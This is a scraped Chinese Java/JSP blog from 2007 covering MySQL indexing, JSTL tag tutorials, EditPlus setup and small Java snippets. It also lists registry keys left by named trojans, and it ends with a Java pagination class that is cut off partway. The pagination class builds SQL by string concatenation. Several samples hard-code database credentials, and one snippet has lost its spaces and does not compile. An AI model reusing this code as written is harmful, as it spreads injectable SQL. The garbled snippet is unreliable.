      如果一列的中数据的前缀重复值很少,我们最好就只索引这个前缀。Mysql支持这种索引。我在上面用到的索引方法就是对username最左边的6个字符进行索引。索引越短,占用的 磁盘空间越少,在检索过程中花的时间也越少。这方法可以对最多左255个字符进行索引。

      在很多场合,我们可以给建立多列数据建立索引。
      索引应该建立在查询条件中进行比较的字段上,而不是建立在我们要找出来并且显示的字段上
      12、一往情深问到的问题:IN、OR子句常会使用工作表,使索引失效。如果不产生大量重复值,可以考虑把子句拆开。拆开的子句中应该包含索引。

    这句话怎么理解决,请举个例子
    例子如下:
    如果在fields1和fields2上同时建立了索引,fields1为主索引
    以下sql会用到索引
    select * from tablename1 where fields1='value1' and fields2='value2'
    以下sql不会用到索引
    select * from tablename1 where fields1='value1' or fields2='value2'
      13.索引带来查询上的速度的大大提升,但索引也占用了额外的硬盘空间(当然现在一般硬盘空间不成问题),而且往表中插入新记录时索引也要随着更新这也需要一定时间.
      有些表如果经常insert,而较少select,就不用加索引了.不然每次写入数据都要重新改写索引,花费时间; 这个视实际情况而定,通常情况下索引是必需的.

      14.我在对查询效率有怀疑的时候,一般是直接用Mysql的Explain来跟踪查询情况.
      你用Mysql-Front是通过时长来比较,我觉得如果从查询时扫描字段的次数来比较更精确一些.
    posted @ 2007-10-25 10:55 jadmin 阅读(71) | 评论 (0)编辑 收藏

      我们知道 XML+XSLT就可以直接输出到支持XML的浏览器上,如IE 5.0以上,但是,我们还要考虑到有不少浏览器不直接支持XML,在这种情况下,我们需要在服务器上进行转换成html输出到浏览器,这种临时过渡办法恐怕要在一段时间内一直要使用.

      使用Jsp 加上tablib标识库,我们可以完成这种转换。

      著名open source项目组jakarta.apache.org推出的系列标识库中,就有这个功能的tanglib:http://jakarta.apache.org/taglibs/doc/xsl-doc/intro.html

      按照jakarta配置方法,有点繁琐,需要修改或定义Web.xml,本人经过摸索,使用下列相当简单的办法,就可以使Jsp能成功运行XSL这个标识库了。

      xsl标识库有三个关键包:

    posted @ 2007-10-25 07:48 jadmin 阅读(87) | 评论 (0)编辑 收藏

    JSTL包括四个标签库,即Core标签库、XML标签库、国际化与格式化标签库和SQL标签库,这里介绍SQL标签库


       <%@    page    contentType="text/html;    charset=utf-8" %>   
       <%@    taglib    uri="http://java.sun.com/jsp/jstl/core"    prefix="c" %>   
       <%@    taglib    uri="http://java.sun.com/jsp/jstl/sql"    prefix="sql" %>


    一.连接MySQL的几种方式


       1.创建普通的数据源


         <sql:setDataSource var="example" driver="com.mysql.jdbc.Driver"   
           url="jdbc:mysql://127.0.0.1:3306/test"     
           user="root" password="" [scope="request"]/>  


       2.从JNDI名称空间中获得一个数据源


         <sql:setDataSource var="example" dataSource="jdbc/bn" />


    二.<sql:query>和<sql:update>(<sql:param>/<sql:dateParam>可以用于query和update)


         <sql:query    var="qurey"    dataSource="${example}"    sql="select    *    from    dept />


         <sql:query    var="qurey2"    dataSource="${example}">  


                select * from dept


         </sql:query>


         <sql:query var="qurey3" dataSource="${example}" [maxRows="20"] [startRow="1"]


          [scope="request"]>  


                select * from dept where deptid=? and deptname=? and createtime=?


                <sql:param value="1"/>


                <sql:param>wuhui</sql:param>


                <sql:dateParam>new Date()</sql:dateParam>


         </sql:query>


         <c:forEach var="row" items="${query.rows}"></c:forEach>//迭代


         <sql:update var="update"   dataSource="${example}" >


                update dept set deptid=? and deptname=?


                <sql:param value="1"/>


                <sql:param>wuhui</sql:param>


           update 处理增删改什么都可以,除了查询


         </sql:update>


          query和update语法基本一样


    3.<sql:transaction>事务处理标签


        <sql:transaction dataSource="example"


         [isolation="read_committed|read_uncommitted|repeatable_read|serializable"]>


              <sql:query>and<sql:update>语句


        </sql:transaction>

    posted @ 2007-10-24 22:18 jadmin 阅读(86) | 评论 (0)编辑 收藏

    本示例从sql2000的pubs数据库中的employee表取出first name、lname.

    <%@ page contentType="text/html; charset=utf-8"%>
    <%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql"%>
    <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
    <html>
    <head>
        <title>jstl连接SQL Server 2000数据库</title>
    </head>
    <body>
    <h3>本示例从sql2000的pubs数据库中的employee表取出first name、lname</h3>
    当然,运行本JSP页须机器已经安装了SQL Server 2000数据库<br>
        <sql:setDataSource driver="com.microsoft.jdbc.sqlserver.SQLServerDriver" url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=pubs" user="sa" password="pass"/>
        <sql:query var="rs">
       select * from employee
        </sql:query>
        <table border="1">
         <tr align="center">
          <td><strong>
           first name</strong>
          </td>
          <td><strong>
           last name
          </strong></td>
         </tr>
         <c:forEach items="${rs.rows}" var="row">
          <tr>
           <td>
            <c:out value="${row.fname}"></c:out>
           </td>
           <td>
            <c:out value="${row.lname}"></c:out>
           </td>
          </tr>
         </c:forEach>
        </table>
        <hr>
    </body>
    </html>

    结果:

    本示例从sql2000的pubs数据库中的employee表取出first name、lname

    当然,运行本JSP页须机器已经安装了SQL Server 2000数据库

    posted @ 2007-10-24 21:15 jadmin 阅读(77) | 评论 (0)编辑 收藏

    日期输入页面:

    dateInput.jsp

    <%@ page pageEncoding="UTF-8" %>
    <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
    <%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>

    <html>
    <head>

    <title>Currency Formatting</title>
    </head>
    <body>


    <form method="post" action="doDateInput.jsp">
    Please enter your birthday:
    <select name="month">
    <option value="01">January</option>
    <option value="02">February</option>
    <option value="03">March</option>
    <option value="04">April</option>
    <option value="05">May</option>
    <option value="06">June</option>
    <option value="07">July</option>
    <option value="08">August</option>
    <option value="09">September</option>
    <option value="10">October</option>
    <option value="11">November</option>
    <option value="12">December</option>
    </select>

    <select name="day">
    <c:forEach begin="1" end="31" var="day">
    <option><c:out value="${day}"/></option>
    </c:forEach>
    </select>
    <select name="year">
    <c:forEach begin="1930" end="2003" var="year">
    <option><c:out value="${year}"/></option>
    </c:forEach>
    </select>
    <input type="submit" value="Submit" />
    </form>



    </body>
    </html>

    日期处理页面:

    doDateInput.jsp

    <%@ page pageEncoding="UTF-8" %>
    <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
    <%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>

    <html>
    <head>

    <title>Currency Formatting</title>
    </head>
    <body>


    <fmt:parseDate
         
    var="date"
          parseLocale
    ="zh_CN"
          value
    ="${param.year}-${param.month}-${param.day}">
       
    </fmt:parseDate>

    <fmt:formatDate value="${date}" dateStyle="full"/>



    </body>
    </html>

    提交后,显示结果诸如1930年11月1日 星期六

    如果日期输入是en_US格式,也就是做以下改动

    <select name="month">
    <option value="Jan">January</option>
    <option value="Feb">February</option>
    <option value="Mar">March</option>
    <option value="Apr">April</option>
    <option value="May">May</option>
    <option value="Jun">June</option>
    <option value="Jul">July</option>
    <option value="Aug">August</option>
    <option value="Sep">September</option>
    <option value="Oct">October</option>
    <option value="Nov">November</option>
    <option value="Dec">December</option>
    </select>

    则日期处理页面也要做想应改动

    <fmt:parseDate
          var="date"
          parseLocale="en_US"
          value="${param.month} ${param.day}, ${param.year}">  

    注意逗号后有一个空格,因为英文的日期格式为"May 25, 1997"
    </fmt:parseDate>

    posted @ 2007-10-24 20:11 jadmin 阅读(89) | 评论 (0)编辑 收藏

    <%@ page contentType="text/html;charset=utf-8" %>
    <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
    <%@ taglib uri="http://java.sun.com/jstl/sql" prefix="sql"%>
    <%@ taglib uri="http://java.sun.com/jstl/fmt" prefix="fmt"%>
    <%@ taglib uri="http://java.sun.com/jstl/xml" prefix="x"%>


           URL相关的标签

    <c:import>
    语法1:资源的内容使用String对象向外暴露
    <c:import url="url" [context="context"]
    [var-"varName"][scope="{page|request|session|application}"]
    [charEncoding="charEncoding"]>
    optional body content for <c:param> subtags
    </c:import>
    语法2:资源的内容使用Reader对象向外暴露
    <c:import url="url" [context="context"]
    varReader="varReaderName"
    [charEncoding="charEncoding"]>
    body content where varReader is consumed by another action
    </c:import>
    例1:                                                                                                                          
    <h3>绝对路径 URL</h3>
    <blockquote>
    <ex:escapeHtml>
       <c:import url="http://127.0.0.1:8080/ch15/beimport.jsp"/>
    </ex:escapeHtml>
    </blockquote>
    <h3>相对路径 URL</h3>
    <blockquote>
    <ex:escapeHtml>
       <c:import url="beimport.jsp"/>
    </ex:escapeHtml>
    </blockquote>
    <h3>encode:</h3>
    <a href=<c:url value="beimport.jsp"><c:param name="userName" value="hellking"/></c:url>>--></a>
    相当于<--jsp:include file=""/>
    <c:import var="myurl" url="http://127.0.0.1:8080/ch15/beimport.jsp"/>

       <c:out value="${myurl}"/>

    <c:import var="myurl2" url="beimport.jsp"/>
       <c:out value="${myurl2}"/>
    </pre>
    </blockquote>
    <h3>传递参数到指定的URL</h3>
    <blockquote>
       <c:import url="beimport.jsp" charEncoding="gb2312">
       <c:param name="userName" value="hellking"/>
    </c:import>  


    <c:redirect>
    把客户的请求重定向到另一个资源
    语法1:没有BODY时.
    <c:redirect url="value" [context="context"]/>
    例1:
    <c:url value="beimport.jsp" var="test"><c:param name="userName" value="hellking"/></c:url>
    <c:redirect url="${test}"/>
    语法2:在BODY中指定查询的参数.
    <c:redirect url="value" [context="context"]/>
    <c:param>subtags
    </c:redirect>
    例1:
    <c:redirect url="beimport.jsp">
    <c:param name="userName" value="hellking"/>
    </c:redirect>

    <c:url>
    用于构造URL,主要的用途是URL重写.
    语法1:No Body.
    <c:url value="value" [context="context"]
    [var="varName"][scope="{page|request|session|application}"]/>
    例1:
    <c:url value="beimport.jsp"/>
    语法2:Body.
    <c:url value="value" [context="context"]
    [var="varName"][scope="{page|request|session|application}"]>
    <c:param>subtags
    </c:url>
    例2:
    <c:url   var="myurl" value="beimport.jsp" scope="session">
    <c:param name="userName" value="hellking"/>
    </c:url>
    <c:out value="${myurl}"/>

    <c:param>
    在<c:import>.<c:url>.<c:redirect>中添加请求的参数.
    语法1:参数的值使用value属性指定.
    <c:param name="name" value="value"/>

    语法2:参数的值在标签的BODY中指定.
    <c:param name="name">
    parameter value
    </c:param>

           迭代标签
    <c:forEach>
    在一个包括一系列对象的Collection中迭代计算它的BodyContent,或者重复迭代固定的次数.
    语法1:在Collection中迭代.
    <c:forEach [var="varName"] items="collection"
    [varStatus="varStatusName"]   //这是迭代状态
    [begin="begin"][end="end"][step="step"]>
    body content
    </c:forEach>
    例1:迭代Collection
    <table border=1>
    <c:forEach var="users" items="${users}">
       <tr>
       <td><c:out value="${users.userName}"/></td>
       <td><c:out value="${users.password}"/></td>
       <td><c:out value="${users.age}"/></td>
       </tr>
    </c:forEach>
    </table>
    例2:other迭代
    <%
    int[] myIntArray=new int[]{1,2,3,4,5,65,34};
    String[] myStringArray=new String[]{"I ","am ","a ","Java","fans"};
    Vector v=new Vector();
    v.add("this");
    v.add("is");
    v.add("myEnumeration");
    v.add("!");
    Enumeration myEnumeration=v.elements();
    HashMap myNumberMap=new HashMap();
    myNumberMap.put("hellking","23");
    myNumberMap.put("guest","23");
    myNumberMap.put("guest2","223");
    myNumberMap.put("guest3","232");
    request.setAttribute("myIntArray",myIntArray);
    request.setAttribute("myStringArray",myStringArray);
    request.setAttribute("myEnumeration",myEnumeration);
    request.setAttribute("myNumberMap",myNumberMap);
    %>
    <h4>Array of primitives (int)</h4>
    <c:forEach var="i" items="${myIntArray}">
       <c:out value="${i}"/> ?
    </c:forEach>
    <h4>Array of objects (String)</h4>
    <c:forEach var="string" items="${myStringArray}">
       <c:out value="${string}"/><br>
    </c:forEach>
    <h4>myEnumeration (warning: this only works until myEnumeration is exhausted!)</h4>
    <c:forEach var="item" items="${myEnumeration}" begin="0" end="5" step="1">
       <c:out value="${item}"/><br>
    </c:forEach>
    <h4>Properties (Map)</h4>
    <c:forEach var="prop" items="${myNumberMap}" begin="1" end="5">
       <c:out value="${prop.key}"/> = <c:out value="${prop.value}"/><br>
    </c:forEach>
    <h4>String (Common Separated Values)</h4>
    <c:forEach var="token" items="red,blue,green">
       <c:out value="${token}"/><br>
    </c:forEach>


    语法2:迭代固定的次数.
    <c:forEach [var="varName"]
    [varStatus="varStatusName"]
    begin="begin" end="end"[step="step"]>
    body content
    </c:forEach>
    例1:
    <c:forEach var="i" begin="1" end="10">
       <c:out value="${i}"/> -->
    </c:forEach>

    例2:<h4>第二种迭代:1 to 10,step=3</h4>
    <c:forEach var="i" begin="1" end="10" step="3">
       <c:out value="${i}"/> -->
    </c:forEach>

    例3:迭代状态
       <td><c:out value="${status.index}"/></td>
       <td><c:out value="${status.count}"/></td>
       <td><c:if test="${status.first}">
          <b></c:if>
           <c:out value="${status.first}"/></b></td>
       <td><c:if test="${status.last}">
          <i> </c:if>
          <c:out value="${status.last}"/></i></td>    
       </tr>

    <c:forTokens>
    用于处理TokenString的迭代,可以指定一个或者多个分隔符.
    语法:
    <c:forTokens items="stringOfTokens" delims="delimiters"
    [var="varName"]
    [varStatus="varStatusName"]
    [begin="begin"][end="end"][step="step"]
    body content
    </c:forTokens>
    例:
    <h4>使用 '|' 作为分割符</h4>
    <c:forTokens var="token" items="blue,red,green|yellow|pink,black|white"
                   delims="|">
       <c:out value="${token}"/> &copy;
    </c:forTokens>
    <h4>使用 '|'和',' 作为分割符</h4>
    <c:forTokens var="token" items="blue,red,green|yellow|pink,black|white"
                   delims="|,">
       <c:out value="${token}"/> &copy;
    </c:forTokens>
    <h4>使用 '-' 作为分割符</h4>
    <c:forTokens var="token" items="blue--red--green--yellow--pink--black--white"
                   delims="--">
       <c:out value="${token}"/> &copy;
    </c:forTokens>


           一般用途

    输出
    <c:out value="&{XXX}" default="这个值不存在">
    设置一个变量
    <c:set>
    例:设置一个javaBean的属性<c:set value="hk2" target="${user}" property="userName"/>

    删除某个变量或者属性
    <c:remove var="${XXX}" [scope="{page|request|...}"]>

    捕获由嵌套在它里面的标签抛出的异常
    <c:catch [var="varName"]>
    nested actions
    </c:catch>


           条件标签
    <c:if>
    语法1:无Body的情况
    <c:if test="testCondition"
    var="varName" [scope="{page|request|session|application}"]/>
    例:
    <c:if test="${user.age<18}">
    对不起,你还的年龄过小,不能范围这个网页◎!
    </c:if>
    语法2:有Body的情况
    <c:if test="testCondition"
    var="varName" [scope="{page|request|session|application}"]>
    body content
    </c:if>


    <c:choose>   <c:when> <c:otherwise>
    例:
    <c:choose>
         <c:when test="${user.age <=18}">
           <font color="blue">
         </c:when>
         <c:when test="${user.age<=30&&user.age>18}">
           <font color="red">
         </c:when>
         <c:otherwise>
           <font color="green">
         </c:otherwise>
       </c:choose>
    你的年龄是:<c:out value="${user.age}"/>

    注意,它的Body内容只能由以下的元素构成:
    空格.
    0个或者多个<when>子标签,<when>必须在<otherwise>标签之前出现.
    0个或者多个<otherwise>子标签.


           数据库相关


    QUERY标签


    语法1   无SQL参数
    <sql:query sql="sqlQuery"
    var="varName"
    [scope="{page|request|session|application}"]
    [dataSource="dataSource"]
    [maxRows="maxRows"]
    [startRow="startRow"]>
    SQL
    </sql:query>

    例1:
    <sql:query var="query" dataSource="${example}">
    SELECT * FROM contact
    </sql:query>

    <table border="1">
       <c:forEach var="row" items="${qurey.rows}">
       <tr>
           <td>Name:<c:out value="${row[0]}"/></td>
           <td>mobile:<c:out value="{row.mobile}"/></td>
       </tr>
       </c:forEach>
    </table>
    <hr>

    例2:
    <sql:query var="result" dataSource="mbq">
    select   code, curprice, openprice, highprice, lowprice,   balanceprice, reservecount,totalamount,curamount, openamount,

    closeamount,   reservechange, totalmoney,   buyprice1, sellprice1, buyamount1, sellamount1, buyprice2, sellprice2, buyamount2,

    sellamount2, buyprice3, sellprice3, buyamount3, sellamount3, buyprice4, sellprice4, buyamount4, sellamount4, buyprice5,

    sellprice5, buyamount5, sellamount5, outamount, inamount, time,yesterbalanceprice,closeprice from currentdata WHERE Code <>

    'SYS' order by code
    </sql:query>代码 现价 开盘 最高 最低 平均 订货量 成交量
    <c:forEach var="row" items="${result.rowsByIndex}">${row[0]} ${row[1]} ${row[2]} ${row[3]} ${row[4]}

    ${row[5]} ${row[6]} ${row[7]}
    </c:forEach>

    语法2   有query参数
    <sql:query sql="sqlQuery"
    var="varName"
    [scope="{page|request|session|application}"]
    [dataSource="dataSource"]
    [maxRows="maxRows"]
    [startRow="startRow"]>
    [<sql:param>""]
    </sql:query>
    例1:变量传入
    <c:set var="aa">
    GX0511A
    </c:set>
    <sql:query var="result" dataSource="mbq" sql="select * from currentdata WHERE   code=? order by code">
       <sql:param>
        ${aa}
       </sql:param>
    </sql:query>代码 现价 开盘 最高 最低 平均 订货量 成交量
    <table border="1">
    <c:forEach var="row" items="${result.rowsByIndex}">
    <tr>
    <td>Name: ${row[0]} </td><td>2:${row[1]}</td> <td>3:$10:02 2005-11-17{row[2]}</td>
    </tr>
    <tr>
    <td>${row[3]}</td><td> ${row[4]}</td><td>${row[5]}</td><td>${row[6]}</td><td>${row[7]}</td>
    </tr>
    </c:forEach>
    </table>

    语法3 有query,且query在body中.
    <sql:query var="varName"
    [scope="{page|request|session|application}"]
    [dataSource="dataSource"]
    [maxRows="maxRows"]
    [startRow="startRow"]>
    query
    [<sql:param>""]
    </sql:query>
    例1:值传入
    <sql:query var="result" dataSource="mbq">
    select * from currentdata WHERE   code=? order by code
       <sql:param value="GX0511A"/>
    </sql:query>代码 现价 开盘 最高 最低 平均 订货量 成交量
    <table border="1">
    <c:forEach var="row" items="${result.rowsByIndex}">
    <tr>
    <td>Name: ${row[0]} </td><td>2:${row[1]}</td> <td>3:$10:02 2005-11-17{row[2]}</td>
    </tr>
    <tr>
    <td>${row[3]}</td><td> ${row[4]}</td><td>${row[5]}</td><td>${row[6]}</td><td>${row[7]}</td>
    </tr>
    </c:forEach>
    </table>


    UPDATA标签

    语法1
    <sql:update sql="sqlUpdate"
    [dataSource="dataSource"]
    [var="varName"][scope="{page|request|session|application}"]/>
    例1
    <sql:update var="update2" sql="insert into users values('测试','9999',1,'test')"
    dataSource="jdbc/quickdb2">

    </sql:update>

    语法2
    <sql:update sql="sqlUpdate"
    [dataSource="dataSource"]
    [var="varName"][scope="{page|request|session|application}"]>
    <sql:param>actions
    </sql:update>
    例1
    <sql:update var="update2" sql="delete from users where username=?" dataSource="jdbc/quickdb2">
       <sql:param value="测试"/>
    </sql:update>

    语法3
    <sql:update [dataSource="dataSource"]
    [var="varName"][scope="{page|request|session|application}"]>
    update statement
    optional<sql:param>actions
    </sql:update>
    例1
    <c:set var="aa" value="测试"/>

    <sql:update var="update2"   dataSource="jdbc/quickdb2">
    delete from users where username=?
       <sql:param>
        ${aa}
       </sql:param>
    </sql:update>


    TRANSACTION标签
    <sql:transaction [dataSource="dataSource"]
    [isolation=isolationLevel]>
    <sql:query>and<sql:update>statements
    </sql:transaction>
    isolationLevel::="read_committed"|"read_uncommitted"|"repeatable_read"|"serializable"
    注意:嵌套在它里面的<sql:query>和<sql:update>标签不用使用DataSource属性来另外指定数据源.


           XML标签
    <x:parse>
    用于解析XML文档
    语法1:解析由String或者Reader对象组成的XML文档.
    <x:parse xml="XMLDocument"
    {var="var" [scope="scope"]|varDom="var"[scopeDom="scope"]}
    [systemId="systemId"]
    [filter="filter"]/>

    语法2:解析在Body中指定的XML文档.
    <x:parse
    {var="var" [scope="scope"]|varDom="var"[scopeDom="scope"]}
    [systemId="systemId"]
    [filter="filter"]>
    XML Document to parse
    </x:parse>
    例1:
    <c:set var="xmlText">
       <a>
        <b>
         <c>
          test1
         </c>
        </b>
        <d>
          test2
        </d>
       </a>
    </c:set>
    <x:parse var="myxml" xml="${xmlText}" />
    <x:out select="$myxml/a/b/c"/>
    <x:out select="$myxml//d"/>
    <x:parse var="bookxml">
       <books>
          <book id="01">
             <name>jsp 应用开发详解</name>
             <price>59</price>
          </book>
       </books>
    </x:parse>
    <x:out select="$bookxml/books//name"/>


    <x:out>
    计算XPath表达式,并把结果返回给JspWriter对象进行输出
    语法:
    <x.out select="XpathExpression" [escapeXml="true|false}"]/>
    例1:
    <x:parse var="test">
       <books>
          <book id="01">
             <name>jsp 应用开发详解</name>
             <price>59</price>
          </book>     
       </books>
    </x:parse>
    <x:out select="$test/books//name"/><br>
    <x:out select="$test//name"/><br>
    <x:out select="$test/books/book/name"/><br>
    <x:out select="$test/books/book/price"/><br>


    <x:set>
    计算XPath表达式,并且把结果保存到某个范围的变量中.
    语法:
    <x:set select="XPathExpression"
    var="varName"[scope="{page|request|session|application}"]/>

    posted @ 2007-10-23 19:13 jadmin 阅读(43) | 评论 (0)编辑 收藏
    搭建的步骤:

    1、下载、安装、注册editplus2。

    2、修改几处设置,这是可选的。进入tools 》preferences》font,修改成大点的字体,小字累眼睛。在files选项卡里去掉创建备份文件,把Create backup file when saving前面的勾去掉。

    3、加入Java工具,这是最主要的。
    添加Java编译工具。在tools 》 configure user tools 》Add tool 》Program,在menu test 中输入“java编译”,command输入“javac”,Argument选择$(FilePath),Initial directory选择$(FileDir),再选上Capture output。点击Apply就ok了。
    添加Java解释器。在tools 》 configure user tools 》Add tool 》Program,在menu test 中输入“java运行”,command输入“java”,Argument选择$(FileNameNoExt),Initial directory选择$(FileDir)。点击Apply就ok了。
    添加当前文件目录下的Dos窗口。在tools 》 configure user tools 》Add tool 》Program,在menu test 中输入“cmd”,command输入“cmd”,Initial directory选择$(FileDir)。 点击Apply就ok了。
    实现的效果就是:用editplus编辑一个Java源文件,然后按CTRL + 1,编译;CTRL + 2,运行;当一个文件有多个class,你想运行其中的某一个,CTRL + 3,跳出cmd窗口,已经指向当前目录了,然后手工输入就可以了。

    4、修改Java文件模板。到editplus安装目录下,用记事本打开template.java文件,修改成你想要的新建Java文件的模板。这样每次从file 》 new 》java 创建的Java文件都是模板里的格式。

    5、然后下载Java语法高亮文件java.stx,以及Java自动完成文件,java.acp。(这种自动完成没有eclipse那么智能、变态)

    6、在editplus安装目录下面新建一个名为java.ctl的文本文件,内容为:
    #TITLE=JavaCodeClip
    #INFO
    #SORT=y
    重启editplus,在左上角的Cliptext的下拉列表中选择JavaCodeClip,点击add,然后可以添加常用的Java源代码片段。比如测试经常用的System.out.println();可以这样添加:在title里面输入print,在text body中输入System.out.println(^!); 其中^!的意思是双击在文件中插入代码之后,光标的位置。
    posted @ 2007-10-23 07:53 jadmin 阅读(48) | 评论 (0)编辑 收藏
    1用JAVA自带的函数
    publicstaticbooleanisNumeric(String str){
      
    for(inti=str.length();--i>=0;){   
       
    if(!Character.isDigit(str.charAt(i))){
        
    returnfalse;
        }
       }
      
    returntrue;
    }

    2用正则表达式
    public static boolean isNumeric(String str){
         Pattern pattern = Pattern.compile("[0-9]*");
         return pattern.matcher(str).matches();    
    }

    3用ascii码
    public static booleanisNumeric(String str){
      for(inti=str.length();--i>=0;){
          intchr=str.charAt(i);
           if(chr<48 || chr>57)
             return false;
        }
       return true;
    }
    posted @ 2007-10-14 01:31 jadmin 阅读(69) | 评论 (0)编辑 收藏

    import java.io.*;

    public class ToFile
    {
    public static void main(String[] args)
    {
       try
       {
        String filename = "out.txt";
        BufferedWriter bw = new BufferedWriter(new FileWriter(filename));
        bw.write("Hello,China!");
        bw.write("\n");
        bw.write("Hello,World!");
        bw.close();
       }
       catch(IOException e)
       {
        System.out.println("IOException");
        e.printStackTrace();
       }
    }
    }

    posted @ 2007-10-08 21:45 jadmin 阅读(87) | 评论 (0)编辑 收藏

    古之欲明明德于天下者,先治其国;

    欲治其国者,先齐其家;欲齐其家者,先修其身;

    欲修其身者,先正其心;欲正其心者,先诚其意;

    欲诚其意者,先致其知,致知在格物。

    posted @ 2007-10-04 12:36 jadmin 阅读(116) | 评论 (0)编辑 收藏

      在网络给我们的工作学习带来极大方便的同时,病毒、木马、后门以及黑客程序也严重影响着信息的安全。这些程序感染计算机的一个共同特点是在注册表中写入信息,来达到如自动运行、破坏和传播等目的。以下是笔者在网上收集的,通过修改注册表来对付病毒、木马、后门以及黑客程序,保证个人计算机的安全。

      1.清理访问“网络邻居”后留下的字句信息

      在HEKY_CURRENT_USER\Network\Recent下,删除下面的主键。

      2.取消登陆时自动拨号

      在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\RealModeNet下修改右边窗口中的“autologon”为“01 00 00 00 00”。

      3.取消登录时选择用户

      已经删除了所有用户,但登录时还要选择用户,我们要取消登录时选择用户,就要在HKEY_LOCAL_MACHINENetworkLogon下,在右边的窗口中,修改"UserProfiles"值为"0"。

      4.隐藏上机用户登录的名字

      在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon下在右边的窗口中新建字符串"DontDisplayLastUserName",设值为"1"。

      5.预防Acid Battery v1.0木马的破坏

      在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices下若在右边窗口中如发现了“Explorer”键值,则说明中了YAI木马,将它删除。

      6.预防YAI木马的破坏

      在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices下若在右边窗口中如发现了“Batterieanzeige”键值,则说明中了YAI木马,将它删除。

      7.预防Eclipse 2000木马的破坏

      在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices下若在右边窗口中如发现了“bybt”键值,则将它删除。

      然后在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices下删除右边的键值“cksys”,重新启动电脑。

      8.预防BO2000的破坏

      在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices下若在右边窗口中如发现了“umgr32.exe”键值,则说明中了BO2000,将它删除。

      9.预防爱虫的破坏

      在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下若在右边窗口中如发现了“MSKernel32”键值,就将它删除。

      10.禁止出现IE菜单中“工具”栏里“interner选项”

      把c:\windows\system下的名为inetcpl.cpl更名为inetcpl.old或则别的名字后就会出现禁止使用的情况把名字再换回来,就可以恢复使用。

      11.预防BackDoor的破坏

      在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下若在右边窗口中如发现了“Notepad”键值,就将它删除。

      12.预防WinNuke的破坏

      在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxDMSTCP下在右边的窗口中新建或修改字符串“BSDUrgent”,设其值为0。

      13.预防KeyboardGhost的破坏

      在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices下如发现KG.EXE这一键值,就将它删除,并查找KG.exe文件和kg.dat文件,将它们都删除。

      14.查找NetSpy黑客程序

      在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下,在右边的窗口中寻找键"NetSpy",如果存在,就说明已经装有NetSpy黑客程序,把它删除。

    posted @ 2007-10-03 10:00 jadmin 阅读(39) | 评论 (0)编辑 收藏

    package com.zh.util;

    import com.zh.conpool.Condata;
    import java.sql.ResultSet;
    import java.sql.SQLException;

    public class page
    {

         ResultSet rs;
         ResultSet rst;
         private int intCountTopic;
         public int intPageSize;
         public int intPageCount;
         public int intPage;
         private String Countsql;
         private String Pagisql;
         private String str;
         private String str_where;
         private String str_parameter;
         private String nowPage;
         private String HttpFile;
         Condata db;

         public page()
         {
             rs = null;
             rst = null;
             intCountTopic = 0;
             intPage = 0;
             Countsql = null;
             Pagisql = null;
             str = null;
             str_where = null;
             str_parameter = "";
             db = new Condata();
         }

         public static void main(String args[])
         {
         
         }

         public void setPages(int i)
         {
             intPageSize = i;
         }

         public String getPagisql()
         {
             return Pagisql;
         }

         public ResultSet setQuerysql(String s, String s1, String s2, String s3)
             throws SQLException
         {
             ResultSet resultset = null;
             nowPage = s3;
             HttpFile = s2;
             Countsql = "select count(*) from " + s + " " + s1;
             Pagisql = "select * from " + s + " " + s1 + " order by id desc";
             try
             {
                 Condata _tmp = db;
                 Condata.getConnection();
             }
             catch(Exception exception)
             {
                 exception.getMessage();
             }
             try
             {
                 resultset = querySql(Countsql, Pagisql);
             }
             catch(SQLException sqlexception)
             {
                 sqlexception.getMessage();
             }
             return resultset;
         }

         public ResultSet querySql(String s, String s1)
             throws SQLException
         {
             try
             {
                 Condata condata = db;
                 Condata.getConnection();
             }
             catch(Exception exception) { }
             if(nowPage == null)
             {
                 intPage = 1;
             } else
             {
                 intPage = Integer.parseInt(nowPage);
                 if(intPage < 1)
                     intPage = 1;
             }
             rs = db.executeQuery(s);
             if(rs.next())
                 intCountTopic = rs.getInt(1);
             intPageCount = intCountTopic % intPageSize == 0 ? intCountTopic / intPageSize : intCountTopic / intPageSize + 1;
             if(intPage > intPageCount)
                 intPage = intPageCount;
             rs.close();
             rst = db.executeQuery(s1);
             return rst;
         }

         public int getCountTopic()
         {
             return intCountTopic;
         }

         public int getPageCount()
         {
             return intPageCount;
         }

         public int getIntPage()
         {
             return intPage;
         }

         public String PageFooter()
         {
             String s = "<form action=" + HttpFile + " name=form1 methord=post>";
             int i = intPage - 1;
             int j = intPage + 1;
             int k = (intPageSize * getIntPage() + 1) - intPageSize;
             if(k < 0)
                 k = 0;
             s = s + "<font style='font-size: 9pt'>\u603B\u8BA1<font color='red'>" + getCountTopic() + "</font>\u6761\u8BB0\u5F55," + "\u3010\u5171<font   color='red'>" + getPageCount() + "</font>\u9875\u3011";
             s = s + "\u3010" + intPageSize + "\u6761/\u9875\u3011 \u5F53\u524D\u7B2C<font color='red'>" + getIntPage() + "</font>\u9875(\u5217\u51FA\u7B2C" + k + "\u5230\u7B2C" + getIntPage() * intPageSize + "\u6761) &nbsp; &nbsp; ";
             if(intPage > 1)
                 s = s + " <A href=" + HttpFile + "?pages=1" + str_parameter + ">\u9996\u9875</A> ";
             else
